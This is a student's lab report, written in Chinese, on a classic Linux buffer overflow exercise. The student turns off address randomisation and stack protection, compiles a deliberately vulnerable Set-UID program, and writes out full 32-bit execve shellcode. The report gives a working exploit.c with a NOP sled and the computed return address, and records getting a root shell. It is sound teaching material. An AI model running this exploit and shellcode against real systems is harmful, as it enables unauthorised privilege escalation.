实验楼缓冲区溢出实验报告
实验楼缓冲区溢出
一、初始设置
1、关闭随机化堆和栈的初始地址
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
$sudo sysctl -w kernel.randomize_va_space=0
2、保持shell的root权限
为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：
$sudo su
$cd /bin
$rm sh
$ln -s zsh sh
$exit
3、运行截图
二、ShellCode
1、shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。观察以下代码：
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的shellcode，就是刚才代码的汇编版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
2、代码解释
a、execve函数
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
execve()用来执行参数filename字符串所代表的文件路径，第二个参数是利用指针数组来传递给执行文件，并且需要以空指针(NULL)结束，最后一个参数则为传递给执行文件的新环境变量数组。
b、shellcode汇编形式详解
0x08048ea4 <+0>: push %ebp
0x08048ea5 <+1>: mov %esp,%ebp
0x08048ea7 <+3>: and $0xfffffff0,%esp
0x08048eaa <+6>: sub $0x20,%esp
0x08048ead <+9>: movl $0x80c8508,0x18(%esp)
0x08048eb5 <+17>: movl $0x0,0x1c(%esp)
0x08048ebd <+25>: mov 0x18(%esp),%eax
0x08048ec1 <+29>: movl $0x0,0x8(%esp)
0x08048ec9 <+37>: lea 0x18(%esp),%edx
0x08048ecd <+41>: mov %edx,0x4(%esp)
0x08048ed1 <+45>: mov %eax,(%esp)
0x08048ed4 <+48>: call 0x8053890 <execve>
0x08048ed9 <+53>: leave
0x08048eda <+54>: ret
从上面汇编程序可以看出：
execve(name[0],name,NULL);
触发了系统调用：
0x08048ed4 <+48>: call 0x8053890 <execve>
而execve系统调用的汇编程序：
0x08053891 <+1>: mov 0x10(%esp),%edx0x080555c0
0x08053895 <+5>: mov 0xc(%esp),%ecx
0x08053899 <+9>: mov 0x8(%esp),%ebx
0x0805389d <+13>: mov $0xb,%eax
0x080538a2 <+18>: call *0x80f55a8
继续追踪，查看0x80f55a8内容，(x /1xw0x80f55a8),发现内存地址是：0x080555c0；好的，继续查看0x080555c0里面的内容：(x /1i 0x080555c0)发现：
0x80555c0 <_dl_sysinfo_int80>: int $0x80
execve(name[0],name,NULL);就是调用了系统的80号中断，而且功能号是：eax=0xb；根据系统提供的中断号的知识：触发80号中断时，eax放功能号，eax,ebx,edx,esi,edi这五个寄存器依次存放提供的功能的参数；当调用参数>5时，功能号放eax,参数依次存入一块连续的内存区域，且ebx存放这段内存起始地址，返回值依然放到eax；
参考博客：https://blog.csdn.net/u010651541/article/details/49913029?utm_source=copy
三、漏洞程序
把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。命令如下：
$sudo su
$gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$chmod u+s stack
$exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
四、攻击程序
1、攻击程序代码
我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
2、地址计算
注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址，输入命令：
$gdb stack
disass main
其中disass命令用于查看汇编代码，运行结果截图如下：
进行断点操作，其中i r命令用于查看寄存器地址：
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff
（与实验楼示例结果有所不同，可见需要自己实际操作，进行计算）
然后，编译exploit.c程序：
$gcc -m32 -o exploit exploit.c
五、实验结果
1、关闭随机化初始地址与保持shell权限
先运行攻击程序exploit，再运行漏洞程序stack，观察结果：获得了root权限
2、开启随机化初始地址与保持shell权限
提示段错误，说明地址计算错误，初始地址无法预估导致
3、关闭随机化初始地址与不保持shell权限
依然能够获得root权限，说明该实验中的shell程序防范措施并不到位。
六、实验总结与心得
1、汇编知识掌握依然不是很熟练，只能跟着步骤做，自己写shellcode计算地址等存在困难，还需要再度复习汇编知识。
2、一些代码理解需要借助外界资料帮助，还需要进一步学习。
3、Linux系统了解不够深刻，许多保护机制等知识需要累积，慢慢增长自己的知识储备量，加深对系统的理解。
